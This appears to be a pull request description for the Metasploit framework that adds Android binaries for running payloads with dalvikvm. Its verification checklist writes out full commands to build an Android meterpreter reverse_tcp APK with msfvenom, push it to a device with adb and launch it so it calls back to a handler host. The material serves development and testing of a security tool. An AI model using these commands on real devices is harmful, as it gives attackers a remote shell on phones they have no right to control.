Android bins for rapid7/metasploit-javapayload#6

rapid7/metasploit-javapayload#6 allows running android payloads from the commandline with `dalvikvm`

### Verification steps

 - [ ] `./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.99.1 LPORT=2222 -f raw > /tmp/met-2222.apk`
 - [ ] start a handler with same options
 - [ ] `adb push /tmp/met-2222.apk /data/local/tmp/met-2222.apk`
 - [ ] `adb shell "cd  /data/local/tmp; mkdir tmp2; cd tmp2; dalvikvm -cp /data/local/tmp/met-2222.apk com.metasploit.stage.Payload &"`